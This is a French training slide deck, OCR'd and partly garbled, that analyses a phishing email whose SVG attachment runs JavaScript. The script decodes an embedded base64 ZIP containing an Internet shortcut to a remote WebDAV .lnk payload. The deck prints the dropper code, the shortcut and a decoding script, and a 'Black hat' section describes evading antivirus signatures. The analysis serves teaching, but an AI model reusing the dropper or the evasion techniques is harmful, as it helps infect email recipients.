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Vecteur d’attaque : Courriel

Le vecteur d'attaque reste inchangé, mais |'utilisateur voyant un
fichier avec un nom bizarre : "UBSALKASVBSVA (1).svg" le
transmet au Centre de Ressources Cyber pour analyse.
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Vecteur d’attaque : Courriel

Le vecteur d'attaque reste inchangé, mais |'utilisateur voyant un
fichier avec un nom bizarre : "UBSALKASVBSVA (1).svg" le
transmet au Centre de Ressources Cyber pour analyse. Ce code est
un VRAI virus, vous engagez donc votre responsabilité dans le
cadre de son usage. ..

Eric BERTHOMIER berthomiereric70@gmail.com



Analyse rapide

Analyse rapide : que contient le fichier?

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/x1ink" version="1.0"
width="100" height="100">

<script type="application/ecmascript"><![CDATA[
document .addEventListener ("DOMContentLoaded", function() {
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array(len);
for (var i = 0; i < len; i++) { bytes[il = binary_string.charCodeAt(i); }
return bytes.buffer;
¥
var base64Data = '
UEsDBBQAAAAIABSPt1gXiSaUigAAAJsAAAARAAAAVUJITQULQVNWQINWQS51cmyL9swrSS3KSy0JzsgvKkkuLYnl
+

bl8nTxySwuseX18sgv8U6ttDXg5YquNjAwWMDIOCTTQBTKghDOMBQEMZrVAqwOK8guMbQOtdSx5uQBQSWECFAAUAA
/AAAAUQAAAAAA" ;

var data = base64ToArrayBuffer (base64Data);

var blob = new Blob([data], {type: 'application/octet-stream'});

var fileName = 'UBSALKASVBSVA.zip';

var a = document.createElementNS('http://www.w3.0rg/1999/xhtml', 'a');

document .documentElement .appendChild(a) ;

a.setAttribute('style', 'display: none');

var url = window.URL.createObjectURL(blob);

a.href = url;

a.download = fileName;

window.URL.revokeObjectURL (url) ; .

a.clickQ);

b
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Analyse rapide

Base64 - Decode

https://www.base64decode.org/

Decode from Base64 format

ur data then push the de

UESDBE Uig UITQUALQ L NI5QONSIFNyBXJIdlL
SctILErVSB7PdbCODDWAOksCwaPDEPLOFPYU;
SWECFAAUAAAACAAUJTZYFAkmIIDAAACDAAAAEQ

oN
TTQBTKghDOMBQEMZVAQWOK8guMbQOtdSX5uQBQ
JITQUALQ Qs A

nts, etc

use the file u
UTF-8

d form

alitie further down on this
Source character set.

Decode each fine separately (useful for when you have mulple entries),
@ Live mode OFF

Decodes i real-time as you type or paste (supports only the UTF-8 character sef).
ROl Decodes your data into the area below:

UBSALKASVBSVA.Urt+I-K- /1.~
Mi+LN-JLIMILJKuOw B BEOL . /NS$1600024q4 223 B Elef@ B im

UBSALKASVBSVA.



https://www.base64decode.org/

Analyse rapide

Magic Number

https://en.wikipedia.org/wiki/List_of_file_signatures/

zip

apk

doex
epub
ipa
jar

50 4B 03 04

50 4B 05 06 (empty

archive) P 0

50 4B @7 08 (spanned PK.*

archive)

maff
msix zip file format and formats based on it, such
odp as EPUB, JAR, ODF, OOXML

pptx
usdz
vsdx
xlsx
xpi
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https://en.wikipedia.org/wiki/List_of_file_signatures/

Analyse rapide

Python’s code

svgdecodeb64.py
#!/usr/bin/python3
import base64

coded_string = '
UEsDBBQAAAATABSPt1gXiSaUigAAAJsAAAARAAAAVUJTQUxLQVNWQINWQS51cmyL9swrSS3KSy0JzsgvKkkuLYn15Q

AAAAAAVUJTQUXLQVNWQ1NWQS51cmxQSwUGAAAAAAEAAQA/AAAAUQAAAAAA!
svgdecode=base64.b64decode (coded_string)

with open("svgdecode.zip", 'bw') as f:
f.write(svgdecode)
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Analyse rapide

Python’s code

svgdecodeb64.py

#!/usr/bin/python3

import base64
coded_string = '
UEsDBBQAAAATABSPt1gXiSaUigAAAJsAAAARAAAAVUJTQUxLQVNWQINWQS51cmyL9swrSS3KSy0JzsgvKkkuLYn15Q

AAAAAAVUJTQUXLQVNWQ1NWQS51cmxQSwUGAAAAAAEAAQA/AAAAUQAAAAAA!
svgdecode=base64.b64decode (coded_string)

with open("svgdecode.zip", 'bw') as f:
f.write(svgdecode)

o Création d'un fichier svgdecode.zip.
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Analyse rapide

Python’s code

svgdecodeb64.py

#!/usr/bin/python3
import base64
coded_string = '

UEsDBBQAAAATABSPt1gXiSaUigAAAJsAAAARAAAAVUJTQUxLQVNWQINWQS51cmyL9swrSS3KSy0JzsgvKkkuLYn15Q

AAAAAAVUJTQUXLQVNWQ1NWQS51cmxQSwUGAAAAAAEAAQA/AAAAUQAAAAAA!
svgdecode=base64.b64decode (coded_string)

with open("svgdecode.zip", 'bw') as f:
f.write(svgdecode)

o Création d'un fichier svgdecode.zip.

@ Décompression du fichier.
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Analyse rapide

Python’s code

svgdecodeb64.py

#!/usr/bin/python3
import base64
coded_string = '

UEsDBBQAAAATABSPt1gXiSaUigAAAJsAAAARAAAAVUJTQUxLQVNWQINWQS51cmyL9swrSS3KSy0JzsgvKkkuLYn15Q

AAAAAAVUJTQUXLQVNWQ1NWQS51cmxQSwUGAAAAAAEAAQA/AAAAUQAAAAAA!
svgdecode=base64.b64decode (coded_string)

with open("svgdecode.zip", 'bw') as f:
f.write(svgdecode)

o Création d'un fichier svgdecode.zip.
@ Décompression du fichier.
@ Découverte d'un fichier UBSALKASVBSVA . url.
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Analyse rapide

URL’s code

[InternetShortcut]
URL=file://invoicetrycloudflare.com@9983/DavWWWRoot/dial.lnk

IDList=

HotKey=0
[{000214A0-0000-0000-C000-000000000046}]

Prop3=19,9

Qu'est ce qu'un fichier en .url? En créé un sur votre ordinateur ...
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Analyse rapide

Fin de I'analyse rapide

Que reste t'il a faire pour se protéger de la menace?
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Analyse rapide

Fin de I'analyse rapide

Que reste t'il a faire pour se protéger de la menace?
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Analyse approfondie

Analyse du support

Rechercher les informations relatives au type de fichier .svg
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Analyse approfondie

Analyse du support

Rechercher les informations relatives au type de fichier .svg
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Analyse approfondie

Analyse du vecteur d’infection

Par quel programme est ouvert le type de fichier SVG sous
Windows ? Commentez.
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Analyse approfondie

Analyse du vecteur d’infection

Par quel programme est ouvert le type de fichier SVG sous
Windows ? Commentez.
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Analyse approfondie

Conclusion

@ Lors de I'ouverture du fichier SVG, le navigateur est censé
afficher ET exécuter le code JS associé.
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Analyse approfondie

Conclusion

@ Lors de I'ouverture du fichier SVG, le navigateur est censé
afficher ET exécuter le code JS associé.

@ En créant dynamiquement une URL
(document .documentElement . appendChild(a) ;) puis en
simulant un clic sur ce lien, le programme va lancer le
téléchargement d'un ZIP (a.click();).
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Analyse approfondie

Conclusion

@ Lors de I'ouverture du fichier SVG, le navigateur est censé
afficher ET exécuter le code JS associé.

@ En créant dynamiquement une URL
(document .documentElement . appendChild(a) ;) puis en
simulant un clic sur ce lien, le programme va lancer le
téléchargement d'un ZIP (a.click();).

© La suite du scénario est alors d'attendre que I'utilisateur
dézippe le fichier (lors d'un ménage et par curiosité (biais
psychologiques) puis que ce dernier clique sur I'URL
malveillante.
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Analyse approfondie

Le tout en images (1/6)

U a

RecydeBn  Skype  placethings.rtt

+~ A

Acrobat  Microsoft Edge. taciiis.rtf
Reader DC

CCleaner  headorigna. . usbsubscrb,. Microsoft®

Outlook 2010

Starting.

Do @ = @ € ©[0
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Analyse approfondie

Le tout en images (2/6)

Ivoice - Message (lain Text)
Message | Developer

R & T M
! ) 2 Meeting || 7 Create New B Ronenote [ | Y a
Ca Cd 3 Bvesns i 4 e 2 Reated
Delte | Reply Reply Foruard Move, B actons | Motk Citegore Follow | Tansite B siom
il s Mee @ Unread e Upe | e R Select
Deiste P Quick steps ove Eaiting 2001
From: [EXTERNAL] Dickerson <zen@davidamois.com:
To Undedosed rackents

Sent: Wed 512272024 7:34 PM
<
Subject: _Invoice

I Message | 8 UBSALKASVBSVA (1.5va @ KB)
Thank you for your order, attached is your invaice copy.
Looking forward to hearing from you,

Kind Regards.
Dickerson
297432723

L
bsat| @ 5 0 € €[0]
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Analyse approfondie

Le tout en images (3/6)

Save all
Attachments Attachment
Actions

File name:  UBSALKASVESVA (.5v3

size: 2K8
[save Al attachments k|

attachments:
I Message | UBSALKASVBSVA (1).5va 2 KE) [DBSALKASVESVA (1).5v0.
(@) it cannot b previewed because there s no previe Cose.

| [ oot

P
Dsw| @ 5 0 € €[0T
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Analyse approfondie

Le tout en images (4/6)

DO [) UBSALKASVBSVA (L).svg x |+
c ) File | CA ot ts/UBSALKASVE: 1).svg e v @ L @
JSIT=TET| O
File Commands Tools Favorkes Options Help B a =
8o ime O @ e =
BOBDMme 00 e =
Rd  Basxlo Tex  Vew Deete  Fnd  Wead Do | Veusscan Comment SR
| | cessiceovesva.zp- 2w sctwve, wpadedses 155bres e
e ~ See Pacied | Tipe odied [
@ UBSALKASVBSVA.... 155 138 Internet Shorteut 512212024 5:56... 94268917
== [Total 1 e, 155 bytes 4

el @ 5|0 € €] om [0 B[P sem m
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Analyse approfondie

Le tout en images (5/6)

1tsJUBSALKASVE! 1.svg
-1 [

B OIS O Q€

A EdaaTe Tet  vew Deete  Find
|+ |[EE ssaukasesa.zp - 2 erchve, unpacked se 155 bytes
Nome ~ Size | Packed | Type T
T Fie folder E
@ UBSALKASVBSVA. . 155 138 Internet Shortey
We can't veiity who crcated this file. Are you sure you want to
open this fle?
Name: . cerycoulre.con@3983|DavWWRoot del ik
Type: shortauk

From: {jnvoicetrycloudflare. con@9983|DaviWRootd..

This fle i n  location outside your localnetwark.Fies from

if yous st the localion. What'sthe risk?

[Total 1fle, 155 bytes

[1= <0 Selected 1 Fe, 155 bytes.

[FH @E semm

|0 @ e|ofm

]
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Analyse approfondie

Le tout en images (6/6

O | O ussalkasesa g x| O veper x B lol@l s )
c o Aoy s r
=[] g }

— 4 R & AlD|IVY ¥ Qe Bl @

Sames Auto Arena - ASM GLOBAL Suite Order Form
Compay Name:

evenoste: Suter
orderedy invoce _ther
Phane Number: Viss__ Mastercard__ Amex__Discover.
emait Name:
.
e Sec code:

HOT FG0D DELIVERY TIWE (CHECK ONEY | 11 HOUR PRIOH TO EVENT [ JAT START OF EVENT
[ severages Sraco/ g spen

***PLEASE NOTE REQUIRED ADVANCED ORDER TIMES ***

A0 o swm =

o]

=|o ele o
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Analyse approfondie

Nouveau vecteur de compromission

Quel est / quels sont le(s) nouveau(x) vecteur(s) de
compromission utilisé(s) ? Commentez.
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Analyse approfondie

Nouveau vecteur de compromission

Quel est / quels sont le(s) nouveau(x) vecteur(s) de
compromission utilisé(s) ? Commentez.
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Black hat

Nouveau vecteur de compromission

Les antivirus fonctionnent principalement sur des signatures et sur
le fonctionnement du programme ...
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Black hat

Modifications de la signature(1/2)

monsvg.svg

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/x1ink" version="1.0"
width="100" height="100">
<circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
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Black hat

Modifications de la signature(1/2)

Il est aussi possible de rajouter des éléments qui ne servent a rien
dans le code ou le ZIP (BASEG64).

var a = null;
a = document.createElementNS('http://www.w3.0rg/1999/xhtml', 'a');
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Black hat

Modifications de la signature(1/2)

Il est aussi possible de rajouter des éléments qui ne servent a rien
dans le code ou le ZIP (BASEG64).

var a = null;
a = document.createElementNS('http://www.w3.0rg/1999/xhtml', 'a');

Enfin ... les possibilités sont infinies.
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Black hat

Démonstration

SVG

https://temp.ericberthomier.fr/virus/svg
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